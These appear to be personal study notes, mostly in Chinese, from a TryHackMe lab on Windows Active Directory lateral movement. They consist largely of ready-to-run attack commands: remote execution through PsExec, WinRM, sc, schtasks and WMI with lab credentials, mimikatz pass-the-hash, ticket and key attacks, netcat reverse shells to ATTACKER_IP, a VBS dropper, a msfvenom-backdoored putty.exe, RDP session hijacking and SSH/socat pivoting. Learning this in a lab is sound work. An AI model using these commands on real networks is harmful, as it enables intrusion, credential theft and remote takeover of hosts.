curl http://distributor.za.tryhackme.com/creds -XPOST -d '__VIEWSTATE=mCapFrY0zRi%2Fx2BdkuFGt96H0EHOvPUUryY8ydQZmKI%2FRqeX4s1tuiBLZcrFua6Q2fK2r7DD2R7micbzJzCbin3H0mjJmYH%2BywtCRzG6XlI%3D&__VIEWSTATEGENERATOR=387396DE&__EVENTVALIDATION=x90rJRIPKn7xtnQjF1dxde6bF5ut7bePuWSuL%2BYw9HmjC4HTyVftBF49%2FgEn9dpH%2F2zE2dyr%2FVyh767EZgrPGmseAs8Ne%2BE6NqDt7BVCANtWxX%2Fs7N45VYw5P6mWBOnV&btnTestSettings=Get+Credentials'
Username: suzanne.morris
Password: P@ssw0rd
Psexec, WinRM, sc, schtasks
Psexec:
- Ports:445/TCP (SMB)
Group Memberships: Administrators
工作方式: 连接到 Admin$ 共享并上传服务二进制文件,连接到服务控制管理器以创建并运行名为 PSEXESVC 的服务,创建一些命名管道来处理 stdin/stdout/stderr。psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
WinRM:
- Ports:5895/TCP (WinRM HTTP) | 5896/TCP (WinRM HTTPS)
Group Memberships: Remote Management Users
Windows 远程管理 (WinRM) 是一种基于 Web 的协议,用于远程向 Windows 主机发送 Powershell 命令。winrs.exe -u:Administrator -p:Mypass123 -r:target cmd // Poweshell Command $username = 'Administrator'; $password = 'Mypass123'; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Enter-PSSession -Computername TARGET -Credential $credential Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
sc:
- Ports:135/TCP, 49152-65535/TCP (DCE/RPC) | 445/TCP | 139/TCP
- Group Memberships: Administrators
- 将尝试使用DCE/RPC进行连接。客户端首先会连接到位于135端口的端点映射器(EPM),它充当可用RPC端点的目录,并请求SVCCTL服务程序的信息。然后,EPM将响应SVCCTL的IP地址和连接端口,这通常是在49152-65535范围内的动态端口。
如果后一个连接失败,sc 将尝试通过端口 445 (SMB) 或 139(基于 NetBIOS 的 SMB)上的 SMB 命名管道到达 SVCCTL。
// 服务启动时执行net user 命令创建一个新用户 sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto sc.exe \\TARGET start THMservice sc.exe \\TARGET stop THMservice sc.exe \\TARGET delete THMservice
schtasks:
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 schtasks /s TARGET /run /TN "THMtask1" schtasks /S TARGET /TN "THMtask1" /DELETE /F
SMB上传文件
smbclient -c 'put myservice.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever
runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443"
C:\> sc.exe \\thmiis.za.tryhackme.com create THMservice-3249 binPath= "%windir%\myservice.exe" start= auto
C:\> sc.exe \\thmiis.za.tryhackme.com start THMservice-3249
WMI(Windows Management Instrumentation)
# 创建PSCredential
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
DCOM:RPC over IP 将用于连接到 WMI。该协议使用端口 135/TCP 和端口 49152-65535/TCP,正如使用 sc.exe 时所解释的那样。
Wsman:WinRM 将用于连接到 WMI。此协议使用端口 5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)。
Powershell 建立 WMI 会话
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
WMI 远程创建进程
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}
# 旧系统
wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe"
WMI 远程创建服务
// 创建服务THMService2
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
// 启动THMService服务
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"
Invoke-CimMethod -InputObject $Service -MethodName StartService
// 停止并删除THMService服务
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete
WMI 远程创建计划任务
// 创建计划任务并启动
# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"
$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"
// 删除
Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"
通过 WMI 安装 MSI 包
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}
# 旧系统
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi
PtH,PtT,PtK
NTLM Authentication(NTML 认证)
a. 客户端
向他们想要访问的服务器
发送身份验证请求。b. 服务器
生成一个随机数并将其作为Challenge发送给客户端
。c. 客户端
将其 NTLM 密码哈希与challenge(以及其他已知数据)结合起来,生成对Challenge的Response,并将其发送回服务器
进行验证。d. 服务器将Challenge和Response转发给域控制器
进行验证。e. 域控制器
使用Challenge重新计算Response并将其与客户端
发送的初始响应进行比较。f. 服务器
将认证结果转发给客户端
。
PTH(Pass-the-Hash) 攻击: 用于得到了无法破解的密码哈希
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
// 常见的
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP (管理员)
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
-----------------------------------------------
// 类似于runas /netonly
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"
Kerberos认证:
PTT(Pass-the-Ticket)攻击:传递票证
// 使用 mimikatz 从 LSASS 内存中提取 Kerberos 票证和会话密钥 (一般需要 SYSTEM权限 )
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
// 注入Ticket (不需要管理员权限)
mimikatz # kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi
// 检查是否注入成功 klist
PtK(Overpass-the-hash / Pass-the-Key)
// 获取key
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
// RC4
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
// AES128
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
// AES256
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
VBS, Backdoor Exe,RDP Hijacking
vbs
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True
Backdoor
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe
RDP hijacking
当管理员使用远程桌面连接到计算机并关闭 RDP 客户端而不是注销时,他的会话将无限期地在服务器上保持打开状态。如果您在 Windows Server 2016 及更早版本上拥有系统权限,则无需密码即可接管任何现有 RDP 会话。
[Windows Server 2019 不允许您在不知道密码的情况下连接到其他用户的会话。]
// 需要管理员权限
PsExec64.exe -s cmd.exe
query session // 列出会话
tscon 3 /dest:rdp-tcp#6
端口转发
查看防火墙规则
netsh advfirewall firewall show rule name=all
SSH 远程端口转发(在跳板机上运行)
ssh -R 13389:thmiis.za.tryhackme.com:3389 -N grace.brooks@10.50.98.17
SSH 本地端口转发(攻击机)
ssh -L 23389:thmiis.za.tryhackme.com:3389 grace.brooks@thmjmp2.za.tryhackme.com -N
Socat 端口转发
// 跳板机上运行
socat -d -d TCP4-LISTEN:10131,fork TCP4:THMIIS.za.tryhackme.com:3389
// 攻击机运行
xfreerdp /v:THMJMP2.za.tryhackme.com:10131 /u:t1_thomas.moore /p:MyPazzw3rd2020
复杂隧道
跳板机上执行
ssh tunneluser@ATTACKER_IP -R 8888:thmdc.za.tryhackme.com:80 -L *:6666:127.0.0.1:6666 -L *:7878:127.0.0.1:7878 -N
ssh -L 8080:thmdc.za.tryhackme.com:80 -R 6666:thmjmp2.za.tryhackme.com:6666 -7878:thmjmp2.za.tryhackme.com:7878 -N grace.brooks@thmjmp2.za.tryhackme.com